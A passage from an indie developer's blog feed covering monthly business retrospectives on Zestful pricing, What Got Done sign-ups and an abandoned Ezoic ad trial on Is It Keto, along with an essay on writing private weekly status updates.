&lt;p>This month, I had calls with four different customers considering Zestful for large projects. Some are more serious than others, but most of them said that they want to use it, but it&amp;rsquo;s missing a few small features to match the workflows they want. I could probably implement all of these features in six to eight weeks of work, but I have no guarantee that it will yield real sales.&lt;/p>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Pros&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>Service is already built and has paying customers&lt;/li>
&lt;li>Gaps between existing service and what the potential customers want seem small
&lt;ul>
&lt;li>I could probably complete them all in six weeks&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Cons&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>If I invest in adding the requested features, I have no guarantee that any of the new customers will actually purchase&lt;/li>
&lt;li>I can&amp;rsquo;t tell if the lifetime value of the new customers is closer to $100 (not worth a month of work) or $10,000 (I&amp;rsquo;d be glad to put in a month of work)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>I received good advice from &lt;a href="https://coryzue.com">Cory Zue&lt;/a>, which was to raise prices. I frequently hear that advice in general, but until Cory said it to me, I didn&amp;rsquo;t think it applied to Zestful. The service didn&amp;rsquo;t have any significant customers at the current low price, so it seemed irrational to raise prices and limit sales further. But I realized that raising prices addresses the last item on my Cons list (uncertainty of customer lifetime value).&lt;/p>
&lt;p>I originally priced Zestful hoping to make $30-100/month from smaller developers and $1,000-$3,000/month from larger companies. It&amp;rsquo;s been on the market for almost a year, and I&amp;rsquo;ve found that very few companies need a service like Zestful. Supporting customers takes time and effort, so if I only have a handful of users, prices need to be much higher.&lt;/p>
&lt;p>In short, if I&amp;rsquo;m going to have serious discussions with customers about using Zestful, the conversation needs to be about a service that costs &lt;strong>thousands&lt;/strong> of dollars, not &lt;strong>tens&lt;/strong> of dollars.&lt;/p>
&lt;p>At the end of the month, I changed my price from 0.3 cents per ingredient to 2 cents per ingredient (an increase of 566%). To avoid price gouging early adopters, my existing customers will continue with their old pricing.&lt;/p>
&lt;h3 id="a-jumpstart-for-what-got-done">A jumpstart for What Got Done&lt;/h3>
&lt;p>Next is &lt;a href="https://whatgotdone.com">What Got Done&lt;/a>, the weekly team status app I launched last month. I promoted it on &lt;a href="https://twitter.com/deliberatecoder/status/1131998623531700225">Twitter&lt;/a>, &lt;a href="https://www.indiehackers.com/product/what-got-done/-LffBEPNwHYU02oXu2vM">Indie Hackers&lt;/a>, and &lt;a href="https://news.ycombinator.com/item?id=20124288">Hacker News&lt;/a>, but it didn&amp;rsquo;t achieve much traction. Then, I published &lt;a href="https://mtlynch.io/status-updates-to-nobody/">a blog post about it&lt;/a>, and it jolted life into the product.&lt;/p>
&lt;p>What Got Done had almost zero sign-ups for a month, but ever since publishing the blog post, there have been three to eight sign-ups per day:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/07/whatgotdone-metrics.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/07/whatgotdone-metrics_hu_db94ba3f92d41e6d.jpg 300w, https://mtlynch.io/retrospectives/2019/07/whatgotdone-metrics_hu_9e026140dc525848.jpg 600w, https://mtlynch.io/retrospectives/2019/07/whatgotdone-metrics_hu_699180608bb31df.jpg 800w, https://mtlynch.io/retrospectives/2019/07/whatgotdone-metrics.jpg 1037w'
 src="https://mtlynch.io/retrospectives/2019/07/whatgotdone-metrics.jpg" alt="What Got Done signup graph" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Sign-ups to What Got Done - June 2019&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The downside is that these users are all on the free plan. I&amp;rsquo;ve had three inquiries about a Pro plan, but only one of them seems like a strong possibility.&lt;/p>
&lt;p>Right now, I&amp;rsquo;m not sure whether to keep trying to encourage organic growth from free users in hopes that it will eventually lead to paid users or if I should focus on other projects that bring more immediate revenue.&lt;/p>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Pros&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>Users are consistently signing up, and some are posting regularly.&lt;/li>
&lt;li>The service lends itself to viral growth.
&lt;ul>
&lt;li>People want to share their updates with their friends/teammates, and this encourages their friends to join.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>If it is successful, the potential market is enormous.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Cons&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>The current growth could be a temporary bump that will be gone in a month regardless of what I do.&lt;/li>
&lt;li>I have no evidence that a large number of free users will ever lead to any paying users.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="slowing-down-on-the-email-tool-for-copywriters">Slowing down on the email tool for copywriters&lt;/h3>
&lt;p>Lastly, there&amp;rsquo;s the email tool for copywriters.&lt;/p>
&lt;p>It&amp;rsquo;s &lt;a href="https://mtlynch.io/retrospectives/2019/06/#taking-on-google-docs">just a concept&lt;/a> at this point, but I think it&amp;rsquo;s a promising business idea.&lt;/p>
&lt;p>I had several exploratory calls with copywriters in May, but progress froze entirely in June as I focused on What Got Done and Zestful. It&amp;rsquo;s my most freezable project because I haven&amp;rsquo;t created anything for it yet, but I do worry that pausing it will kill progress with the prospective customers I&amp;rsquo;ve already contacted.&lt;/p>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Pros&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>It&amp;rsquo;s a market too small to attract large competitors but involves high-value transactions.
&lt;ul>
&lt;li>It&amp;rsquo;s a small customer base to support, but they&amp;rsquo;re paying a lot because it brings them significant value.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Most writers I&amp;rsquo;ve interviewed with are unsatisfied with their existing tools and desperate for something better.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Cons&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>The market might be too niche.
&lt;ul>
&lt;li>The email copywriters I&amp;rsquo;ve spoken with all know each other, so I&amp;rsquo;m not sure if it&amp;rsquo;s just a consequence of the network where I found them or if there really are only a few dozen people who have this job.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The amount of work to create an MVP is higher than for other ideas I&amp;rsquo;ve had.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="a-brief-experiment-with-display-ads-on-is-it-keto">A brief experiment with display ads on Is It Keto&lt;/h2>
&lt;p>Since &lt;a href="https://mtlynch.io/retrospectives/2019/01/">December&lt;/a>, the only way I&amp;rsquo;ve monetized Is It Keto has been through Amazon Affiliate ads. This month, Ezoic approached me about putting display ads on Is It Keto. Is It Keto barely met their minimum audience requirement of 10k unique users per month, so I decided to check it out.&lt;/p>
&lt;p>They promised that I wouldn&amp;rsquo;t have to do any work — just point my DNS records to their CDN, and they&amp;rsquo;d place the ads for me. I was skeptical because modifying a site layout is nontrivial, so how were they going to do it well for thousands of partner sites?&lt;/p>
&lt;p>As soon as I saw the results, I hated it. I&amp;rsquo;ve never considered Is It Keto to be the most beautiful site on the web, but Ezoic&amp;rsquo;s ads made it look like cheap, spammy garbage.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/07/isitketo-ads.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/07/isitketo-ads_hu_99728a49d17d775d.png 300w, https://mtlynch.io/retrospectives/2019/07/isitketo-ads_hu_487bcb229359e70e.png 600w, https://mtlynch.io/retrospectives/2019/07/isitketo-ads_hu_bae67a42d88f15d9.png 800w, https://mtlynch.io/retrospectives/2019/07/isitketo-ads_hu_4a5fb0132108d09f.png 1200w, https://mtlynch.io/retrospectives/2019/07/isitketo-ads.png 1995w'
 src="https://mtlynch.io/retrospectives/2019/07/isitketo-ads.png" alt="Before and after screenshots of Is It Keto" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Is It Keto - Before and after Ezoic ads&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The final straw was when Ezoic inserted ads that screwed up my site layout on mobile devices.&lt;/p>













 

 








 
 
 







&lt;figure class="img" style="max-width: 415px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/07/ads-too-wide.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 415px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/07/ads-too-wide_hu_34ff55e3be553758.png 300w, https://mtlynch.io/retrospectives/2019/07/ads-too-wide.png 413w'
 src="https://mtlynch.io/retrospectives/2019/07/ads-too-wide.png" alt="Screenshot of bad ad on Is It Keto" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Ezoic ad screws up Is It Keto&amp;rsquo;s layout on mobile devices&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I reported this to Ezoic, and they claimed that it should never happen. They asked how I observed it, and I told them I used dev tools on Chrome desktop to emulate a Pixel 2 device. Ezoic said it was just a bug in Chrome&amp;rsquo;s mobile emulation but wouldn&amp;rsquo;t happen on real devices. A few days later, I saw that Google Search was downranking me because they detected that my layout was broken on mobile:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/07/ezoic-errors.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/07/ezoic-errors_hu_3e9d5ecd208eb952.jpg 300w, https://mtlynch.io/retrospectives/2019/07/ezoic-errors_hu_e094a18a69fe7d95.jpg 600w, https://mtlynch.io/retrospectives/2019/07/ezoic-errors_hu_ac4806ba73e6f954.jpg 800w, https://mtlynch.io/retrospectives/2019/07/ezoic-errors.jpg 912w'
 src="https://mtlynch.io/retrospectives/2019/07/ezoic-errors.jpg" alt="Graph of errors in Google Search Console" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Google Search Mobile Usability Dashboard - before and after Ezoic ads&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I immediately turned off Ezoic and have no plans to return.&lt;/p>
&lt;p>For the 11 days it ran, Ezoic generated $45.49 in revenue from 5,452 unique visitors. That&amp;rsquo;s ~$8 per 1,000 visitors, nearly double the revenue I would have earned from Amazon alone. Still, it wasn&amp;rsquo;t enough for me to reduce the quality of the site so drastically.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Published a new blog post: &lt;a href="https://mtlynch.io/status-updates-to-nobody/">&amp;ldquo;Staying Motivated by Sending Status Updates to Nobody&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Increased pricing on Zestful by 566%&lt;/li>
&lt;li>Created an &lt;a href="https://i.imgur.com/a5KKab5.png">internal web app&lt;/a> that lets me quickly generate training data for Zestful (and fix the legacy data from my starting dataset)&lt;/li>
&lt;li>Added a &lt;a href="https://i.imgur.com/s2lChnk.gif">&amp;ldquo;Save Draft&amp;rdquo; feature&lt;/a> to What Got Done&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Even when your sales are negligible, there are benefits to raising prices.
&lt;ul>
&lt;li>Raising prices eliminates distractions from customers who can&amp;rsquo;t spend enough to make the service viable.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Ezoic pays pretty well, but they make sites look like garbage and screw up SEO.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Conduct five calls with new customers (either for What Got Done, Zestful, or the email tool)&lt;/li>
&lt;li>Implement two commonly-requested Zestful features (matching ingredients to USDA entries and support for multi-ingredient strings)
&lt;ul>
&lt;li>And then &lt;strong>stop working on Zestful&lt;/strong> (unless a customer spends or pre-pays $100+)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Add two engagement-encouraging features to What Got Done:
&lt;ul>
&lt;li>Email reminder on Friday if you haven&amp;rsquo;t submitted an entry&lt;/li>
&lt;li>Support for &amp;ldquo;reactions&amp;rdquo; to entries (e.g., thumbs up, happy face)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></content:encoded></item><item><title>Staying Motivated by Sending Status Updates to Nobody</title><link>https://mtlynch.io/status-updates-to-nobody/</link><pubDate>Tue, 25 Jun 2019 00:00:00 +0000</pubDate><guid>https://mtlynch.io/status-updates-to-nobody/</guid><description>&lt;div class="img" style="max-width: 1000px">



 &lt;a href="https://mtlynch.io/status-updates-to-nobody/cover.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 1000px, 98vw"
 srcset='https://mtlynch.io/status-updates-to-nobody/cover_hu_d0a92d19b7654eeb.jpg 300w, https://mtlynch.io/status-updates-to-nobody/cover_hu_8f7db12984c38565.jpg 600w, https://mtlynch.io/status-updates-to-nobody/cover_hu_bd555c8bd1e4ac3f.jpg 800w, https://mtlynch.io/status-updates-to-nobody/cover_hu_7f7feb784bda56a9.jpg 1200w, https://mtlynch.io/status-updates-to-nobody/cover.jpg 1200w'
 src="https://mtlynch.io/status-updates-to-nobody/cover.jpg" alt="Staying Motivated by Sending Status Updates to Nobody (cover image)" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>At my last job, status meetings with my manager were outstandingly efficient. He never ran me through the typical drill of listing list off everything I did since our last meeting. Instead, we jumped right to the meaty topics of career growth, team development, and challenging technical problems.&lt;/p></description><content:encoded>












 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1000px">



 &lt;a href="https://mtlynch.io/status-updates-to-nobody/cover.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 1000px, 98vw"
 srcset='https://mtlynch.io/status-updates-to-nobody/cover_hu_d0a92d19b7654eeb.jpg 300w, https://mtlynch.io/status-updates-to-nobody/cover_hu_8f7db12984c38565.jpg 600w, https://mtlynch.io/status-updates-to-nobody/cover_hu_bd555c8bd1e4ac3f.jpg 800w, https://mtlynch.io/status-updates-to-nobody/cover_hu_7f7feb784bda56a9.jpg 1200w, https://mtlynch.io/status-updates-to-nobody/cover.jpg 1200w'
 src="https://mtlynch.io/status-updates-to-nobody/cover.jpg" alt="Staying Motivated by Sending Status Updates to Nobody (cover image)" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>At my last job, status meetings with my manager were outstandingly efficient. He never ran me through the typical drill of listing list off everything I did since our last meeting. Instead, we jumped right to the meaty topics of career growth, team development, and challenging technical problems.&lt;/p>
&lt;p>How did my manager have the right context so that we could skip to the good stuff? He read my Snippets.&lt;/p>
&lt;h2 id="what-are-snippets">What are Snippets?&lt;/h2>
&lt;p>Snippets is the name of an internal tool at Google for sharing status with your teammates. It&amp;rsquo;s just a plain text field where you write down your accomplishments for the week. The following week, your manager and teammates receive your update in an email digest.&lt;/p>
&lt;p>At first, it seemed like a pointless idol in Google&amp;rsquo;s cult of internal openness, but it soon became clear to me that a surprising amount of value came from something that was basically just a textbox.&lt;/p>
&lt;h2 id="i-dont-hate-meetings--i-hate-bad-meetings">I don&amp;rsquo;t hate meetings — I hate &lt;em>bad&lt;/em> meetings&lt;/h2>
&lt;p>Like most developers, I had always hated team sync meetings. Even if the meeting was only an hour, the interruption ruined my productivity for several more. I understood why they were necessary, but they were always painful to endure.&lt;/p>
&lt;p>At Google, something felt distinctly odd about our team meetings: they were actually engaging. Our discussions were lean and productive because everyone walked in with a shared context from reading each others&amp;rsquo; Snippets. Before Google, it never occurred to me that fact-reporting was the boring part of meetings, and you could do that ahead of time.&lt;/p>
&lt;p>Setting aside time each week to write updates required discipline and focus, but it created a virtuous cycle. The more effort we put into our status updates, the less time we spent in tiresome meetings.&lt;/p>
&lt;p>Snippets also provided a friendly medium for small wins. If you squeezed a 3% performance gain out of a data processing pipeline, that might not merit an agenda item at the team meeting, but Snippets gave the achievement visibility and allowed your teammates to recognize your contribution.&lt;/p>
&lt;p>After two years at Google, I switched teams. Tragically, my meetings regressed to the stale &amp;ldquo;let&amp;rsquo;s all recite facts&amp;rdquo; format I suffered through at previous companies. It turned out that my new manager didn&amp;rsquo;t believe in Snippets. Instead, he preferred to hear status updates the traditional way: in person.&lt;/p>
&lt;p>This preference baffled me. How could anyone experience the beauty and efficiency of Snippets, then insist on going back to the stone age of tedious, inefficient meetings? It would be like hearing someone say, &amp;ldquo;Yes, I&amp;rsquo;m aware of emails, but I prefer to do things the &lt;em>traditional&lt;/em> way. Send me a fax.&amp;rdquo;&lt;/p>
&lt;p>Few people on the new team bothered to write Snippets. If we had to re-explain everything at the team meeting anyway, there was little incentive to prepare a written version that our manager would ignore. I gave up on them as well, bitterly hoping that some status-update-related disaster would disintegrate our team and my manager would recognize his folly and hubris in rejecting Snippets.&lt;/p>
&lt;p>That didn&amp;rsquo;t happen. Instead, I found myself writing Snippets again a few weeks later, knowing full well that my manager would never read them.&lt;/p>
&lt;h2 id="the-joy-of-sending-status-updates-to-nobody">The joy of sending status updates to nobody&lt;/h2>
&lt;p>Friday afternoons are when my brain lies to me about my work. It often tells me that I wasted an entire week investigating a bug and have nothing to show for it.&lt;/p>
&lt;p>Writing status updates forced me to see my week objectively. I&amp;rsquo;d review my code check-ins, outgoing emails, and calendar. Invariably, this exercise reminded me that I accomplished far more than my bleak, never-gonna-solve-this-bug mindset suggested.&lt;/p>
&lt;p>Sometimes, I completely forgot about a cool feature I launched on Tuesday because of an unrelated issue that popped up on Wednesday. Even when a single bug truly did absorb my week, my investigation always produced useful artifacts like better documentation or new automated tests.&lt;/p>
&lt;p>Without Snippets, I forgot all that and remembered only what I &lt;em>hadn&amp;rsquo;t&lt;/em> accomplished.&lt;/p>
&lt;h2 id="other-tools-dont-get-it">Other tools don&amp;rsquo;t get it&lt;/h2>
&lt;p>In early 2018, &lt;a href="https://mtlynch.io/why-i-quit-google/">I left Google&lt;/a>. Without access to my beloved Google-internal tools, I searched for an external replacement for Snippets to no avail.&lt;/p>
&lt;p>There are dozens of &amp;ldquo;share status with your team&amp;rdquo; services, but they&amp;rsquo;re all top-down rather than bottom-up. That is, they&amp;rsquo;re designed for &lt;em>managers&lt;/em>. They promise pretty graphs and dashboards so that the manager feels like they have their finger on the pulse of the team.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 475px">



 &lt;a href="https://mtlynch.io/status-updates-to-nobody/monday-screenshot.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 475px, 98vw"
 srcset='https://mtlynch.io/status-updates-to-nobody/monday-screenshot_hu_4aa34fd7614e8c39.jpg 300w, https://mtlynch.io/status-updates-to-nobody/monday-screenshot_hu_c3a369d033c42479.jpg 600w, https://mtlynch.io/status-updates-to-nobody/monday-screenshot_hu_460c598ef010ed34.jpg 800w, https://mtlynch.io/status-updates-to-nobody/monday-screenshot.jpg 953w'
 src="https://mtlynch.io/status-updates-to-nobody/monday-screenshot.jpg" alt="Screenshot of Monday.com feature page" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Monday.com promises managers slick dashboards to track their employees&amp;rsquo; work but forces the employees to enter their status in a rigid format.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Everyone enjoys cool visualizations, but generating them requires the employees to enter information in whatever rigid format the tool expects. Team members have to do bookkeeping for the sake of bookkeeping and concoct numbers to represent how &amp;ldquo;complete&amp;rdquo; each task is.&lt;/p>
&lt;p>Snippets was &lt;em>just&lt;/em> a textbox. Employees had full autonomy over how they described their work without any overhead.&lt;/p>
&lt;h2 id="im-blocked-because-i-dont-have-a-textbox">I&amp;rsquo;m blocked because I don&amp;rsquo;t have a textbox?&lt;/h2>
&lt;p>Without a ritual to end each week on a positive note, my work just felt like a series of thankless tasks. My morale dwindled, and I kept fruitlessly searching for a status tool that matched the simplicity of Snippets.&lt;/p>
&lt;p>One day, a profound and obvious realization struck me — Snippets is just a textbox. I could get a textbox anywhere.&lt;/p>
&lt;p>I immediately created a new Google Doc and wrote my update for the week:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/status-updates-to-nobody/docs-snippets.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/status-updates-to-nobody/docs-snippets_hu_b390329db1eb3132.jpg 300w, https://mtlynch.io/status-updates-to-nobody/docs-snippets_hu_4fa30eee161bbe03.jpg 600w, https://mtlynch.io/status-updates-to-nobody/docs-snippets_hu_2c91759d932464c7.jpg 800w, https://mtlynch.io/status-updates-to-nobody/docs-snippets.jpg 932w'
 src="https://mtlynch.io/status-updates-to-nobody/docs-snippets.jpg" alt="Screenshot of my first Snippet in Google Docs" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Recording weekly status updates in Google Docs&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I recorded my status updates in that private Google Doc every week for a year. Nobody else saw it, but that was fine. It gave me back the habit I was missing. Each week ended with a reminder of how much I accomplished, and it felt great.&lt;/p>
&lt;h2 id="creating-yet-another-status-update-tool">Creating yet another status update tool&lt;/h2>
&lt;p>After writing private updates for a year, it still gave me satisfaction, but I missed writing for an audience. I saw the myriad of benefits I gained by &lt;a href="https://mtlynch.io/keep-growing-never-profit/#i-published-monthly-goals-and-stuck-to-them">publishing my monthly retrospectives&lt;/a> and wanted to do the same thing for weekly updates.&lt;/p>
&lt;p>One of &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/#goals-for-year-two">my 2019 goals&lt;/a> was to gain expertise in a JavaScript framework, so that felt like a convenient excuse to create my own status sharing web app. It&amp;rsquo;s called What Got Done:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/status-updates-to-nobody/whatgotdone-screenshot.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/status-updates-to-nobody/whatgotdone-screenshot_hu_7b1df6f1b2a9f0ff.jpg 300w, https://mtlynch.io/status-updates-to-nobody/whatgotdone-screenshot_hu_dd46a6aa6a494d09.jpg 600w, https://mtlynch.io/status-updates-to-nobody/whatgotdone-screenshot_hu_580b3475cbd9bbf2.jpg 800w, https://mtlynch.io/status-updates-to-nobody/whatgotdone-screenshot_hu_7a2fcdbee674ea17.jpg 1200w, https://mtlynch.io/status-updates-to-nobody/whatgotdone-screenshot.jpg 1322w'
 src="https://mtlynch.io/status-updates-to-nobody/whatgotdone-screenshot.jpg" alt="Screenshot of Monday.com feature page" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My &lt;a href="https://weeks.mtlynch.io/2019-06-21">most recent update&lt;/a> on What Got Done&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I record my status updates in it every week. In the last month, the site has attracted &lt;strong>three&lt;/strong> other users. Hear that, investors? 300% month-over-month growth!&lt;/p>
&lt;h2 id="update-2025-08-shutting-down-what-got-done">Update (2025-08): Shutting down What Got Done&lt;/h2>
&lt;p>After six fun years, I&amp;rsquo;ve decided to shut down What Got Done. I now post my weekly updates to &lt;a href="https://weeks.mtlynch.io">weeks.mtlynch.io&lt;/a>, where I&amp;rsquo;m the sole poster.&lt;/p>
&lt;hr>
&lt;p>&lt;em>Edited by &lt;a href="https://www.samanthamasonfreelancer.com">Samantha Mason&lt;/a>. Cover art by Loraine Yow.&lt;/em>&lt;/p></content:encoded></item><item><title>What Got Done - Month 1</title><link>https://mtlynch.io/retrospectives/2019/06/</link><pubDate>Fri, 07 Jun 2019 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2019/06/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I launched my &lt;a href="https://whatgotdone.com">task journaling app&lt;/a>, but it hasn&amp;rsquo;t attracted many users.&lt;/li>
&lt;li>Interviewing potential customers gave me a good idea for my next project.&lt;/li>
&lt;li>I earned $107 from &lt;a href="https://isitketo.org">Is It Keto&lt;/a> and $123 from &lt;a href="https://zestfuldata.com">Zestful&lt;/a> without working on either.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;h3 id="publish-a-minimum-viable-product-version-of-what-got-done">Publish a minimum viable product version of What Got Done&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: What Got Done is now &lt;a href="https://whatgotdone.com">live&lt;/a>.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I launched What Got Done on &lt;a href="https://weeks.mtlynch.io/2019-05-24">May 24th&lt;/a>. It hasn&amp;rsquo;t gained much traction, so I&amp;rsquo;m debating whether to stick with it or focus on other ideas.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I launched my &lt;a href="https://whatgotdone.com">task journaling app&lt;/a>, but it hasn&amp;rsquo;t attracted many users.&lt;/li>
&lt;li>Interviewing potential customers gave me a good idea for my next project.&lt;/li>
&lt;li>I earned $107 from &lt;a href="https://isitketo.org">Is It Keto&lt;/a> and $123 from &lt;a href="https://zestfuldata.com">Zestful&lt;/a> without working on either.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;h3 id="publish-a-minimum-viable-product-version-of-what-got-done">Publish a minimum viable product version of What Got Done&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: What Got Done is now &lt;a href="https://whatgotdone.com">live&lt;/a>.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I launched What Got Done on &lt;a href="https://weeks.mtlynch.io/2019-05-24">May 24th&lt;/a>. It hasn&amp;rsquo;t gained much traction, so I&amp;rsquo;m debating whether to stick with it or focus on other ideas.&lt;/p>
&lt;h3 id="meet-with-10-potential-customers-for-my-next-product">Meet with 10 potential customers for my next product&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Had five customer meetings (&lt;font color="red">50% below target&lt;/font>)&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C&lt;/li>
&lt;/ul>
&lt;p>I got a bit sidetracked in adding post-launch features to What Got Done, so I had fewer customer interviews than I intended. It&amp;rsquo;s hard to motivate myself to do the necessary-but-unglamorous work of user research when it&amp;rsquo;s so enticing to add features to a fresh product.&lt;/p>
&lt;h3 id="publish-a-new-blog-post">Publish a new blog post&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published &lt;a href="https://mtlynch.io/keep-growing-never-profit/">&amp;ldquo;How to Grow Quickly and Never Turn a Profit&amp;rdquo;&lt;/a> on the last day of the month&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B+&lt;/li>
&lt;/ul>
&lt;p>I did publish the blog post, but I had to scramble a bit to get it in under the deadline I set for myself. I&amp;rsquo;m still trying to strike a balance between rushing posts out the door and spending 40 hours editing and re-editing a single post.&lt;/p>
&lt;h2 id="inactive-projects">Inactive projects&lt;/h2>
&lt;h3 id="is-it-keto">Is It Keto&lt;/h3>
&lt;p>Now that Is It Keto is on the backburner, I&amp;rsquo;m not going to dive as deeply into its metrics, but here&amp;rsquo;s a summary of the most interesting ones:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>April 2019&lt;/th>
 &lt;th>May 2019&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>7,262&lt;/td>
 &lt;td>10,984&lt;/td>
 &lt;td>&lt;font color="green">+3,722 (+51%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>19,732&lt;/td>
 &lt;td>28,751&lt;/td>
 &lt;td>&lt;font color="green">+9,019 (+46%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Authority (Moz)&lt;/td>
 &lt;td>9&lt;/td>
 &lt;td>6&lt;/td>
 &lt;td>&lt;font color="red">-3 (-33%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Ranking Keywords (Moz)&lt;/td>
 &lt;td>548&lt;/td>
 &lt;td>949&lt;/td>
 &lt;td>&lt;font color="green">+401 (+73%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$82.44&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$107.25&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$24.81 (+30%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>It&amp;rsquo;s exciting to see that the site is still growing even though I stopped working on it in March. The growth comes entirely from &lt;a href="https://mtlynch.io/keep-growing-never-profit/#search-engines-have-a-substantial-lag">delayed gains&lt;/a> in search engine rankings.&lt;/p>
&lt;h3 id="zestful">Zestful&lt;/h3>
&lt;p>&lt;a href="https://zestfuldata.com">Zestful&lt;/a>, the ingredient parsing service I built last year, earned $123.85 of revenue in May. That&amp;rsquo;s the first time its monthly earnings have been more than a couple of dollars.&lt;/p>
